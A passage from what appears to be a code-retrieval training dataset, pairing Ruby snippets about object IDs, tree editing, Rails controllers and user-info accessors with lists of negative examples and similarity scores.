@link.ident)\n\t\t\t\tformat.html { render action: \"edit_in_tree\" }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\tstrerr=\"ko:update_att=#{update_att} update_eff=#{update_eff} effectivities: #{params[:effectivities]}\"\n\t\t\t\tLOG.info(fname) { strerr}\n\t\t\t\t# lien non modifie\n\t\t\t\tflash[:error] = t(:ctrl_object_not_updated,:typeobj =>t(:ctrl_link),:ident=>@link.ident, :error=>strerr)\n\t\t\t\tformat.html { render action: \"edit_in_tree\" }\n\t\t\t\tformat.xml { render xml: @link.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def validation_hook_during_update_tree(kd_el)\n # override this method in validating subclass of self\n end",
"def write_tree\n invoke(:write_tree)\n end",
"def rebuild!\n # Don't rebuild a valid tree.\n return true if valid?\n \n scope = lambda{ |node| {} }\n if acts_as_nested_set_options[:scope]\n scope = lambda { |node|\n scope_column_names.inject({}) { |hash, column_name|\n hash[column_name] = node.send(column_name.to_sym)\n hash\n }\n }\n end\n indices = {}\n \n set_left_and_rights = lambda do |node|\n # set left\n node.send(:\"#{left_column_name}=\", (indices[scope.call(node)] += 1))\n # find\n all(scope.call(node).merge(parent_column_name => node.id)).each { |n| set_left_and_rights.call(n) }\n # set right\n node.send(:\"#{right_column_name}=\", (indices[scope.call(node)] += 1))\n node.save! \n end\n \n # Find root node(s)\n root_nodes = all(parent_column_name => nil, :order => \"#{left_column_name}, #{right_column_name}, id\").each do |root_node|\n # setup index for this scope\n indices[scope.call(root_node)] ||= 0\n set_left_and_rights.call(root_node)\n end\n end",
"def cmd_changed\n print_tree(ChangedEditor, nil, true)\n end",
"def edit\r\n # GET request, return the editor page.\r\n @package = ProductPackage.find params[:id]\r\n @child_nodes = @package.product_package_nodes\r\n render && return unless request.post?\r\n \r\n # Update node attributes\r\n @package.update_attributes params[:package]\r\n flash[:notice] = \"Package \\\"#{@package.name}\\\" was successfully saved!\"\r\n \r\n # Redirect back\r\n redirect_to @package.parent_id.nil? ? { :action => \"index\" } : { :action => \"edit\", :id => @package.parent_id }\r\n end",
"def create_tree_box(model_name,method_name,filter_type,tree_filter_id,order,filter_id)\n \n html = '<span style=\"border:1px solid #E0E0E0;color:#444;position:relative;bottom:4px;font-weight:bold;background:#EEE;padding-top:2px;padding-left:2px;padding-right:2px;padding-bottom:2px;\">'\n \n feature = modelize(model_name).send(method_name,\n tree_filter_id).join\n \n #This method is called from filter_category module, which decorates the raw feature from the DB and makes it html friendly\n html = html + html_features(feature)\n html = html + '</a> <span style=\"position:relative;bottom:1px;\">'\n\n link = self.form_cross_url(filter_type,\n filter_id,\n order,\n @sub_category_flag,\n tree_filter_id)\n\n html = html + link\n\n html = html + '</span>\n </span>'\n\n html + '<span style=\"color:#6E6A6B;size=2;position:relative;bottom:4px;background:#FFFFF;padding-top:2px;padding-left:2px;padding-right:2px;padding-bottom:2px;\"></span>'\n\n end",
"def is_valid_tree(tree)\n\nend",
"def TreeView_GetEditControl(hwnd) send_treeview_message(hwnd, :GETEDITCONTROL) end",
"def altered()\n puts \"PARENTS altered()\"\n end",
"def show_tree\n\t\t@root_node.show\n\tend",
"def edit\n\t\t#super\n\tend",
"def edit #$$~used\n puts \"xxxxxxx NodesC a:edit xxxxxxx\"\n @node = Node.find(params[:id])\n end",
"def update_tree_nodes(node, parent_id, position)\n page = SitePage.find node['id']\n page.parent_id = parent_id\n page.position = position\n page.enabled = node['enabled']\n page.save\n unless node['children'].blank?\n node['children'].each_with_index do |leaf, index|\n update_tree_nodes leaf, node['id'], index\n end\n end\n end",
"def tree_params\n params.require(:tree).permit(:title, :content, :special_date)\n end",
"def right_click_tree(tree, *path_elements)\n path = tree_path(path_elements)\n append_to_script \"right_click_tree \\\"#{tree}\\\",#{path}\"\n end",
"def vieditable_init_listbox\n $log.debug \" inside vieditable_init_listbox \"\n @editable = true\n bind_key( ?C, :edit_line)\n bind_key( ?o) { insert_line(@current_index+1) } \n bind_key( ?O) { insert_line(@current_index) } \n bind_key( [?d, ?d] , :delete_line ) \n bind_key( ?\\C-_ ) { @undo_handler.undo if @undo_handler }\n bind_key( ?u ) { @undo_handler.undo if @undo_handler }\n bind_key( ?\\C-r ) { @undo_handler.redo if @undo_handler }\n bind_key( [?y, ?y] , :kill_ring_save ) \n bind_key( ?p, :yank ) # paste after this line\n #bind_key( ?P ) { yank(@current_index - 1) } # should be before this line\n # seems -1 was pasting 2 lines before\n bind_key( ?P ) { yank(@current_index - 0) } # should be before this line\n bind_key(?w, :forward_word)\n bind_key(?\\M-y, :yank_pop)\n bind_key(?\\C-y, :yank)\n bind_key(?\\M-w, :kill_ring_save)\n @_events.push :CHANGE # thru vieditable\n #bind_key( ?D, :delete_eol)\n #bind_key( [?d, ?$], :delete_eol)\n #bind_key(?f, :forward_char)\n #bind_key( ?x, :delete_curr_char )\n #bind_key( ?X, :delete_prev_char )\n #bind_key( [?d, ?w], :delete_word )\n #bind_key( [?d, ?t], :delete_till )\n #bind_key( [?d, ?f], :delete_forward )\n\n end",
"def update\n respond_to do |format|\n if @tree.update(tree_params)\n format.html { redirect_to @tree, notice: 'Tree was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tree.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tree.update(tree_params)\n format.html { redirect_to @tree, notice: 'Tree was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tree.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_tree\n @tree = Tree.find(params[:id])\n end",
"def set_tree\n @tree = Tree.find(params[:id])\n end",
"def set_tree\n @tree = Tree.find(params[:id])\n end",
"def set_tree\n @tree = Tree.find(params[:id])\n end",
"def set_tree\n @tree = Tree.find(params[:id])\n end",
"def test_save_tree\n end",
"def tree\r\n @rootNode\r\n end",
"def button_down(id)\n\t\t if button_down? Gosu::KbEscape\n\t\t close\n\t\t end\n\t\t if button_down? Gosu::KbR\n\t\t @tree.random_tree\n\t\t end\n\t\t if button_down? Gosu::KbC\n\t\t\t@tree.custom_tree\n\t\t end\n\t\t #F1/F2 are split range\n\t\t if button_down? Gosu::KbF2\n\t\t\t$split_range = $split_range + 1\n\t\t\t@tree.custom_tree\n\t\t end\n\t\t if button_down? Gosu::KbF1\n\t\t\t$split_range = $split_range - 1\n\t\t\t@tree.custom_tree\n\t\t end\n\t\t #F3/F4 are shrink range\n\t\t if button_down? Gosu::KbF3\n\t\t\t$shrink_range[0] = $shrink_range[0] - 1\n\t\t\t$shrink_range[1] = $shrink_range[0]\n\t\t\t$shrink_range[2] = $shrink_range[0]\n\t\t\t@tree.custom_tree\n\t\t end\n\t\t if button_down? Gosu::KbF4\n\t\t\t$shrink_range[0] = $shrink_range[0] + 1\n\t\t\t$shrink_range[1] = $shrink_range[0]\n\t\t\t$shrink_range[2] = $shrink_range[0]\n\t\t\t@tree.custom_tree\n\t\t end\n\t\t #F5/F6 are trunk size\n\t\t if button_down? Gosu::KbF5\n\t\t\ttrunk_start = $trunk[0] - 10\n\t\t\t$trunk.clear\n\t\t\t$trunk[0] = trunk_start\n\t\t\t$trunk[1] = trunk_start\n\t\t\t@tree.custom_tree\n\t\t end\n\t\t if button_down? Gosu::KbF6\n\t\t\ttrunk_start = $trunk[0] + 10\n\t\t\t$trunk.clear\n\t\t\t$trunk[0] = trunk_start\n\t\t\t$trunk[1] = trunk_start\n\t\t\t@tree.custom_tree\n\t\t end\n\t end",
"def update_children(node, new_node)\n\t\tleft \t= node.left\n\t\tright = node.right\n\t\tleft.parent = new_node unless left.nil? \n\t\tright.parent = new_node unless right.nil?\n\tend",
"def update\n @tree = Tree.find(params[:id])\n if @tree.update(tree_params)\n redirect_to user_url(current_user), notice: '登録しました'\n else\n render :edit, notice: '登録できませんでした'\n end\nend",
"def valid_tree?\n true\n end",
"def valid_tree?\n true\n end",
"def create_shell_tree_view\n\t\t\n\t\t\t# Create file system model for Shell Tree View\n\t\t\tfile_system_model = FetchNotifyingFileSystemModel.new(\n\t\t\t\t@form, \n\t\t\t\t{ \n\t\t\t\t :label => @form.iconPlaceholderDir, \n\t\t\t\t :ready_icon => @folder_icon,\n\t\t\t\t\t:busy_icon => @loading_icon\n\t\t\t\t}\n\t\t\t)\n\t\t\n\t\t\t# Create Shell Tree View\n\t\t\t@shell_tree_view = ShellFolderTreeView.new(\n\t\t\t\t@parent, \n\t\t\t\t{ \n\t\t\t\t\t:model => file_system_model,\n\t\t\t\t :change_callback => lambda { |path| path_changed(path) },\n\t\t\t\t\t:keypress_callback => lambda { |key| key_clicked(key) }\n\t\t\t\t}\n\t\t\t)\n\t\t\n\t\t\t# Replace placeholder with actual Shell Tree View\n\t\t\tGuiUtils.replace_grid_widget({\n\t\t\t\t:grid => @form.gridLayout, \n\t\t\t\t:old_widget => @form.folderListPlaceholder,\n\t\t\t\t:new_widget => @shell_tree_view,\n\t\t\t\t:row => 1, :col => 0,\n\t\t\t\t:col_span => 3\n\t\t\t})\n\t\tend",
"def trees_to_html(trees)\nend",
"def ascii_tree; end",
"def clicked\n puts \"Saving Family\"\n\n ##Testing multiorgvector\n multiOrgVector = $multiOrgViewInt.getOrganisms\n puts \"multiOrgVector \" + multiOrgVector.inspect\n \n ##Clear and initialize the multiOrg view\n #$multiOrgViewInt.removeAllOrganisms\n puts $multiOrgViewInt.inspect\n $multiOrgViewInt.setSpeciesTextVisible(false)\n $multiOrgViewInt.setSexTextVisible(false)\n $multiOrgViewInt.setCharacteristicsTextVisible(false)\n $multiOrgViewInt.setNameTextVisible(false)\n $multiOrgViewInt.setLockSymbolVisible(false)\n $multiOrgViewInt.updateScrollBars\n\n ##Get the selected organisms from Pedigree view\n selectionVector = $pedigreeViewInternal.getSelectionSet\n puts \"selectionVector: \" + selectionVector.inspect\n \n selectionVectorObj = $pedigreeViewInternal.getSelectionSet.getSelectedObjects\n puts \"selectionVectorObj: \" + selectionVectorObj.inspect\n \n numOrgs=selectionVector.getNumberOfSelectedObjects\n puts numOrgs.to_s + \" organisms selected.\"\n \n ##Get actual organisms\n selectionVectorObj.each{|o| puts o.name; puts; $multiOrgViewInt.addOrganism(o)}\n #puts \"Organism: \"+ orgOne.getSexAsString + \"named \" + orgOne.getName + \".\"\n\n ##orgVector = $multiOrgViewInternal.getOrganisms\n #orgVector.each {|o| puts \"here\"; puts o.inspect; $multiOrgView.addOrganism(o)}\n #selectedOrgs = $multiOrgViewInternal.getSelectionSet\n\n # Add organisms to vertical view \n\n #$multiOrgView.repaint\n \n #puts selectedOrgs.getNumberOfSelectedObjects\n ##puts \"Ruby length: \" + selectedOrgs.length\n #secondOrg = selectedOrgs.getSelectedObjectAtIndex(1)\n #if selectedOrgs.getNumberOfSelectedObjects > 1\n # puts \"The second selected organism is a \" + secondOrg.getSexAsString + \".\"\n #end\n\n #while (iterator.hasMoreElements)\n # organism = iterator.nextElement\n # organismSex = organism.getSexAsString\n # puts \"First Organism Gender: \" + organismSex\n #end\n #puts $strainFamilyInternal.getMother\n #puts $strainFamilyInternal.getFather\n end",
"def build_editable_fields(actions, guardian, args)\n end",
"def update\n respond_to do |format|\n if @tree.update(tree_params)\n format.html { redirect_to @tree, notice: 'Tree was successfully updated.' }\n format.json { render :show, status: :ok, location: @tree }\n else\n format.html { render :edit }\n format.json { render json: @tree.errors, status: :unprocessable_entity }\n end\n end\n end",
"def x_show\n @explorer = true\n tree_select\n end",
"def valid_tree?\n false\n end",
"def update_tree(element)\n last_blank = nil\n element.children.map! do |child|\n if child.type == :raw_text\n last_blank = nil\n reset_env(src: ::Kramdown::Utils::StringScanner.new(child.value, element.options[:location]),\n text_type: :text)\n parse_spans(child)\n child.children\n elsif child.type == :eob\n update_attr_with_ial(child.attr, child.options[:ial]) if child.options[:ial]\n []\n elsif child.type == :blank\n if last_blank\n last_blank.value << child.value\n []\n else\n last_blank = child\n child\n end\n else\n last_blank = nil\n update_tree(child)\n update_attr_with_ial(child.attr, child.options[:ial]) if child.options[:ial]\n # DEPRECATED: option auto_id_stripping will be removed in 2.0 because then this will be\n # the default behaviour\n if child.type == :dt || (child.type == :header && @options[:auto_id_stripping])\n update_raw_text(child)\n end\n child\n end\n end.flatten!\n end",
"def transform(tree); end",
"def jstree\n show\n end",
"def show\n @new = false\n @single = true\n @width = @height = 150\n @vw = 80\n @vh = 40\n @vx = @tree.x - @vw/2\n @vy = @tree.y - @vh/2\n \n end",
"def rebuild!\n\n scope = lambda{}\n # TODO: add scope stuff\n \n # Don't rebuild a valid tree.\n return true if valid?\n indices = {}\n \n move_to_child_of_lambda = lambda do |parent_node|\n # Set left\n parent_node[nested_set_options[:left_column]] = indices[scope.call(parent_node)] += 1\n # Gather child noodes of parend_node and iterate by children\n parent_node.children.order(:id).all.each do |child_node|\n move_to_child_of_lambda.call(child_node)\n end\n # Set right\n parent_node[nested_set_options[:right_column]] = indices[scope.call(parent_node)] += 1\n parent_node.save\n end\n\n # Gatcher root nodes and iterate by them\n self.roots.all.each do |root_node|\n # setup index for this scope\n indices[scope.call(root_node)] ||= 0\n move_to_child_of_lambda.call(root_node)\n end\n end",
"def edits\n\nend",
"def parent=(newParent)\n return if newParent == @parent\n remove_item if @parent\n @parent = newParent\n @content.each_index do |pos|\n update_sortable(pos, @content[pos]) if @parent\n end\n end",
"def _display_tree(max_length=20, tabs='')\n\t\treturn @contents._display_tree(max_length, tabs)\n\tend",
"def demoExplorerList(t)\n height = t.font.metrics(:linespace) + 2\n height = 18 if height < 18\n\n t.configure(:showroot=>false, :showbuttons=>false, :showlines=>false,\n :itemheight=>height, :selectmode=>:extended, :wrap=>:window,\n :showheader=>false, :scrollmargin=>16,\n :xscrolldelay=>[500, 50], :yscrolldelay=>[500, 50])\n\n init_pics('small-*')\n\n if $HasColumnCreate\n t.column_create(:widthhack=>true)\n else\n t.column_configure(0, :widthhack=>true)\n end\n\n t.element_create('elemImg', :image,\n :image=>[\n @sel_images['small-folder'], ['selected'],\n @images['small-folder'], []\n ])\n t.element_create('elemTxt', :text, :lines=>1,\n :fill=>[@SystemHighlightText, ['selected', 'focus']])\n t.element_create('elemSel', :rect, :showfocus=>true,\n :fill=>[\n @SystemHighlight, ['selected', 'focus'],\n 'gray', ['selected', '!focus']\n ])\n\n # image + text\n s = t.style_create('STYLE')\n t.style_elements(s, ['elemSel', 'elemImg', 'elemTxt'])\n t.style_layout(s, 'elemImg', :expand=>:ns)\n t.style_layout(s, 'elemTxt', :squeeze=>:x, :expand=>:ns, :padx=>[2,0])\n t.style_layout(s, 'elemSel', :union=>['elemTxt'], :iexpand=>:ns, :ipadx=>2)\n\n @Priv[:edit, t] = ['elemTxt']\n @Priv[:sensitive, t] = [ [0, 'STYLE', 'elemImg', 'elemTxt'] ]\n @Priv[:dragimage, t] = [ [0, 'STYLE', 'elemImg', 'elemTxt'] ]\n\n t.notify_bind(t, 'Edit-accept',\n proc{|w, i, tt| w.item_text(i, 0, tt)}, '%T %I %t')\n\n dir_proc = proc{|file|\n item = t.item_create\n t.item_style_set(item, 0, 'STYLE')\n t.item_text(item, 0, File.basename(file))\n t.item_lastchild(:root, item)\n }\n\n file_proc = proc{|file|\n item = t.item_create\n t.item_style_set(item, 0, 'STYLE')\n\n ext = File.extname(file)\n case ext\n when '.dll'\n img = 'small-dll'\n when '.exe'\n img = 'small-exe'\n when '.txt'\n img = 'small-txt'\n else\n img = 'small-file'\n end\n\n type = ext.upcase\n type = type[1..-1] << ' ' unless type.empty?\n type << 'File'\n\n t.item_complex(item,\n [\n ['elemImg', {:image=>[@sel_images[img], ['selected'],\n @images[img], []]}],\n ['elemTxt', {:text=>File.basename(file)}]\n ])\n t.item_lastchild(:root, item)\n }\n\n demoExplorerAux(t, dir_proc, file_proc)\n\n t.activate(t.item_firstchild(:root))\n\n t.bindtags = [ t, 'TreeCtrlFileList', Tk::TreeCtrl, t.winfo_toplevel, :all ]\nend"
] |
[
"0.6467389",
"0.640778",
"0.63123137",
"0.6152099",
"0.61062366",
"0.6084185",
"0.5999627",
"0.5947091",
"0.5945303",
"0.5898976",
"0.5896479",
"0.5876703",
"0.58739364",
"0.5815046",
"0.5811449",
"0.58060795",
"0.5801345",
"0.5801345",
"0.5801345",
"0.58005214",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.5796903",
"0.57626265",
"0.57613033",
"0.57268226",
"0.5680601",
"0.5679607",
"0.5674036",
"0.56626725",
"0.56582314",
"0.5600119",
"0.55977535",
"0.5584524",
"0.5561048",
"0.55516464",
"0.5544391",
"0.55374724",
"0.5529192",
"0.552615",
"0.5523253",
"0.55005276",
"0.5497872",
"0.5487185",
"0.5482898",
"0.54790366",
"0.5478651",
"0.54783636",
"0.5473255",
"0.5471665",
"0.54690754",
"0.5466854",
"0.5464378",
"0.5464378",
"0.54408765",
"0.54408765",
"0.54408765",
"0.54408765",
"0.54402506",
"0.54374546",
"0.5433479",
"0.54298645",
"0.54150236",
"0.5409851",
"0.53965056",
"0.53965056",
"0.5391709",
"0.5388768",
"0.5387394",
"0.53859675",
"0.5373744",
"0.5369353",
"0.53551775",
"0.5352739",
"0.5337418",
"0.5323371",
"0.5313192",
"0.53105485",
"0.5309268",
"0.5301987",
"0.52965736",
"0.5293711",
"0.529242"
] |
0.0
|
-1
|
ID of the object
|
def id
object["id"]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def object_id() end",
"def __id; @id || @obj.id; end",
"def id\n object.object_id\n end",
"def id\n object.id\n end",
"def id\n object.id\n end",
"def id\n object_id\n end",
"def getId()\n @obj.getId()\n end",
"def id\n object.id.to_i\n end",
"def id\n object.id.to_s\n end",
"def id\n @obj['id']\n end",
"def object_id\n object.object_id\n end",
"def objname\n id\n end",
"def id\n __id\n end",
"def __object_unique_id__\n name\n end",
"def __object_unique_id__\n name\n end",
"def id() end",
"def id\n raise Errno::ENOENT, \"This object has been deleted.\" if self.deleted?\n raise \"No ID on object.\" if !@id\n return @id\n end",
"def _id\n @id\n end",
"def id()\n #This is a stub, used for indexing\n end",
"def sobject_id\n sobject.id\n end",
"def id\n object.to_param\n end",
"def __object_unique_id__\n return 0 if self.deleted?\n return self.id\n end",
"def get_id(obj)\n\t\t@objects.invert[obj]\n\tend",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; end",
"def id; 1; end",
"def get_object_id object\n object.respond_to?(:id) ? object.id : object\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n @id\n end",
"def id\n @instance.id\n end",
"def id\n self[:identifier]\n end",
"def object_identifier\n [\"#{self.class.name}\", (id.nil? ? nil : \"##{id}\"), \":0x#{self.object_id.to_s(16)}\"].join\n end",
"def getId()\n\t\t\treturn @_id\n\t\tend",
"def id\n object.external_id\n end",
"def oid\n id(get_oid())\n end",
"def id\n @id\n end",
"def id\n return @id\n end",
"def id\n return @id\n end",
"def id\n return @id\n end",
"def id\n return @id\n end",
"def id\n return @id\n end",
"def id\n return @id\n end",
"def id\n return @id\n end",
"def __object_unique_id__\n return @args[:data][:Key_name]\n end",
"def id; 1; end",
"def id\r\n @id\r\n end",
"def id\n self[:id]\n end",
"def get_id\n\t\treturn id\n\tend",
"def id\n self[:id]\n end",
"def __id__() end",
"def id\n return @id\n end",
"def id\n GitlabSchema.id_from_object(object)\n end",
"def get_id()\n @id\n end",
"def get_id()\n @id\n end",
"def id\n name\n end",
"def oid\n self.elements[:object_i_d]\n end",
"def id_for(obj)\n \"#{obj.class.name.underscore}-#{obj.id}\"\n end",
"def id; self['_id']; end",
"def id\n @id || self.class.name.underscore.split('/').last #gsub('/', '_')\n end",
"def real_id\n @id\n end",
"def real_id\n @id\n end",
"def hash\n object_id\n end",
"def dom_id\n \"_#{self.object_id}\"\n end",
"def id\n @attributes[:ID]\n end",
"def id\n self._id.to_s if self._id\n end",
"def getId\n return @id\n end",
"def id\n self.Id\n end",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend",
"def getId\r\n\t\t\t\t\treturn @id\r\n\t\t\t\tend",
"def get_id()\n return @id\n end",
"def get_id()\n return @id\n end",
"def id ; @record.id if @record ; end",
"def id\n self.struct.send(:table)[:id]\n end",
"def id\n name\n end",
"def id\n name\n end",
"def record_id(object)\n #eval \"object.#{object.class.primary_key}\"\n object.id\n end",
"def as_id(object)\n object.kind_of?(PublicEarth::Db::Base) && object.id || object\n end",
"def getId\n\t\treturn @id\n\tend",
"def get_id\n @id\n end",
"def get_id\n @id\n end"
] |
[
"0.87322426",
"0.8651325",
"0.86476535",
"0.8606129",
"0.8606129",
"0.8600797",
"0.85745674",
"0.85698",
"0.8560696",
"0.8421016",
"0.827813",
"0.8238045",
"0.82376343",
"0.81944907",
"0.81944907",
"0.8168917",
"0.80596024",
"0.8044447",
"0.80291855",
"0.79699576",
"0.79476917",
"0.78881407",
"0.78841126",
"0.7882524",
"0.7882524",
"0.7882524",
"0.7882524",
"0.7882524",
"0.7882524",
"0.7882524",
"0.7882524",
"0.7882524",
"0.7882524",
"0.7882524",
"0.7882524",
"0.7871928",
"0.7846128",
"0.7840962",
"0.7840962",
"0.7840962",
"0.7840962",
"0.7830872",
"0.7806587",
"0.7801807",
"0.77939737",
"0.77907395",
"0.77712786",
"0.7763913",
"0.7739112",
"0.77357394",
"0.77357394",
"0.77357394",
"0.77357394",
"0.77357394",
"0.77357394",
"0.77357394",
"0.7734436",
"0.77281785",
"0.7715948",
"0.7697212",
"0.76627886",
"0.76601106",
"0.76540965",
"0.7633008",
"0.76201946",
"0.7609059",
"0.7609059",
"0.7590116",
"0.75703603",
"0.75687665",
"0.7566962",
"0.756625",
"0.7561595",
"0.7561595",
"0.75550574",
"0.7544814",
"0.7538331",
"0.7535399",
"0.752311",
"0.75188553",
"0.751421",
"0.751421",
"0.751421",
"0.751421",
"0.751421",
"0.751421",
"0.751421",
"0.751421",
"0.751421",
"0.75096214",
"0.7506424",
"0.75013536",
"0.74949455",
"0.74862593",
"0.74862593",
"0.74846494",
"0.7473737",
"0.747148",
"0.7470381",
"0.7470381"
] |
0.84046805
|
10
|
Info about the user who uploaded the file.
|
def from
Skydrive::User.new(client, object["from"]) if object["from"]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def getUploadedBy\r\n\t\t\t\t\treturn @uploadedBy\r\n\t\t\t\tend",
"def updatedb_file_user(file)\n meta = updatedb_file_ls(file)\n if meta\n user = meta.split(\" \")[2]\n user\n else\n nil\n end\n end",
"def user_info\n auth_hash['user_info']\n end",
"def info\n {\n account_id: @account_id,\n date_taken: @date_taken.iso8601,\n username: @user.nil? ? \"\" : @user.username,\n schema: @schema,\n state: @state,\n files: files\n }\n end",
"def user_info\n @user_info ||= raw_info\n end",
"def username\n profile['Username']\n end",
"def user\n metadata&.dig('event', 'user')\n end",
"def current_user\n # We just do a 'basename' on the principal to give back a sane value\n # here.\n user_name = Http::UrlUtil.split_path(current_principal)[1]\n\n user_name\n end",
"def who\n\t\t\t@username\n\t\tend",
"def repo_user\n # TODO: Clarify what repo_user actually is.\n # github is currently using the repo's 'owner', gitlab is using the user who pushed.\n case @vcs\n when 'github'\n @data['repository']['owner']['login']\n when 'gitlab'\n @data['user_username']\n end\n # TODO: Bitbucket, Stash/Bitbucket Server, TFS\n end",
"def file_name\n uploaded_file_file_name\n end",
"def user_info\n {\n 'uid' => user_hash['feed']['author'][0]['email']['$t'],\n 'nickname' => user_hash['feed']['author'][0]['name']['$t'],\n }\n end",
"def user_info\n {\n 'uid' => user_hash['feed']['author'][0]['email']['$t'],\n 'nickname' => user_hash['feed']['author'][0]['name']['$t']\n }\n end",
"def owner_fname\n \towner.profile.fname\n end",
"def user()\n return @data[\"access\"][\"user\"]\n end",
"def author\n file.version.author.name\n end",
"def current_user_id\n info['user']['id']\n end",
"def getUploadedOn\r\n\t\t\t\t\treturn @uploadedOn\r\n\t\t\t\tend",
"def uploaded_file\n instance_read(:uploaded_file)\n end",
"def user_name\n @message[:user][:name]\n end",
"def name\n userName\n end",
"def profile_picture\n profile_picture_file_name\n end",
"def user_name\n\t\tobject.user.full_name \n\tend",
"def getUser ()\n return self.directory.user \n end",
"def username\n @obj['username']\n end",
"def current_user_info\n\t\trespond_to do |format|\n\t\t\tif !current_user\n\t\t\t\tformat.json { render json: { 'User' => 'not logged in' } }\n\t\t\telse\n\t\t\t\tformat.json { render json: { 'Name' => current_user.name, 'Image' => getFacebookPicURL(current_user) } }\n\t\t\tend\n\t\tend\n\tend",
"def user_id\n username\n end",
"def user_info\n\t\t\"name: #{name} \\n\"+\n\t\t\"email: #{email}\"\n\t\t\t\n\tend",
"def user_info\n @user_info ||= raw_info.nil? ? {} : raw_info\n end",
"def user_info\n @user_info ||= raw_info.nil? ? {} : raw_info\n end",
"def username\n @username\n end",
"def username\r\n return @user.username\r\n end",
"def username\n @username\n end",
"def username\n user.username\n end",
"def getusername()\r\n return getvalue(SVTags::USER_ID)\r\n end",
"def user_information\n { \"username\": @user.username, \"email\": @user.email, \"id\": @user.id }\n end",
"def info\n {\n email: username\n }\n end",
"def user_info\n response = from_server \"api/user.json\"\n response.data\n end",
"def user\n owner\n end",
"def username\n name\n end",
"def owner\n self.user.screenname\n end",
"def user_info\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n\n respond_to do |format|\n name = @current_user.name\n username = @current_user.username\n format.json {\n render json: {\n :name => name,\n :username => username,\n }.to_json, status: 200\n }\n end\n end",
"def raw_info\n @raw_info ||= access_token.get('/api/me', :headers => {'Accept' => \"application/json; version=1\" }).parsed['payload']['users'].first || {}\n end",
"def user_info\n {\n 'nickname' => user_hash['NickName'],\n 'name' => user_hash['NickName']\n }\n end",
"def user_name\n object.user.name\n end",
"def user_info\n @user_info ||= raw_info.nil? ? {} : raw_info[\"person\"]\n end",
"def username\n user.username\n end",
"def userinfo\n @participant = Participant.find(session[:user])\n end",
"def user\n {user_id: self.object.user.id,\n user_name: self.object.user.name\n }\n end",
"def user_username\n if self.user != nil\n self.user.username\n end\n end",
"def owner\n uid = File.stat(self.artifact).uid\n Etc.getpwuid(uid).name\n end",
"def created_by\n user\n end",
"def author\n return User.find(self.user_id).user_name\n end",
"def user_info(comment)\n if comment.user_nickname.present?\n comment.user_nickname + (comment.user_location ? \" (%s)\" % comment.user_location : \"\")\n else\n \"anonymous\"\n end\n end",
"def user_info\n\t\t@user_info ||= fetch_latest_user_info\n\tend",
"def filename\n\t\tif @user.class == User \n\t\t\t\"#{@user.screen_name}.png\"\n\t\telsif @user.class == Libitem\n\t\t\t\"#{@user.title}_#{@user.id}.png\"\n\t\tend\n\tend",
"def get_current_user_name\n return @name if @name\n name = get_current_user_meta\n name = name['query']['userinfo']['name'] if name\n\n name\n end",
"def user_of_task\n task = Task.find(self)\n if !task.nil?\n admin = Admin.find(task.admin_id)\n if !admin.nil?\n admin.first_name << \" \" << admin.last_name\n end\n end\n end",
"def getUsername\n return @username\n end",
"def user\n Thread.current[\"current_user\"] \n end",
"def filename\n \"#{@user.name}.png\"\n end",
"def name\n\t self.username\n end",
"def username; end",
"def username; end",
"def username; end",
"def username; end",
"def owner\n user_id\n end",
"def getAuthorName\n\t\treturn User.find(self.user_id).username\n\tend",
"def current_user\n session[:name]\n end",
"def user\n {id: object.user.id, username: object.user.username, avatar: object.user.avatar}\n end",
"def access_file_name\n end",
"def username\n user.username\n end",
"def username\n user.username\n end",
"def display_name\n username\n end",
"def who \n version_user.to_label\n end",
"def uploaded_file\n initalize_breadcrumb(\"Uploaded File(s)\", uploadedfile_datauploaders_path)\n currentUser = current_user.id\n @uploadedFiles = UserFileMapping.where(:user_id =>currentUser )\n respond_with(@uploadedFiles)\n end",
"def get_user_name client, event\n # calls users_info on slack\n info = client.users_info(user: event.user_id )\n info['user']['name']\n end",
"def username\n @data['username']\n end",
"def username\n @data['username']\n end",
"def userinfo\n object.fetch(:userinfo) {\n @object[:userinfo] = (format_userinfo(\"\") if @object[:user])\n }\n end",
"def user_name\n self.user.name\n end",
"def upload(file, someone)\n end",
"def get_user_name client, event\n # calls users_info on slack\n info = client.users_info(user: event.user_id ) \n info['user']['name']\n end",
"def name\n object.user.name\n end",
"def name\n object.user.name\n end",
"def upload_location\n object[\"upload_location\"]\n end",
"def auth_user_file\n \t\treturn @htaccess_hash['AuthUserFile']\n \tend",
"def owner\n get_user owner_id\n end",
"def username\n end",
"def show\n @user_author = User.find_by_id(@materialpicture.user_id)\n @user_author_name = @user_author.username\n end",
"def user_name\n return User.find(user_id).name\n end",
"def user_name\n return User.find(user_id).name\n end",
"def avatar_file\n @attributes[:avatar_file]\n end",
"def username\n username = user.username\n end",
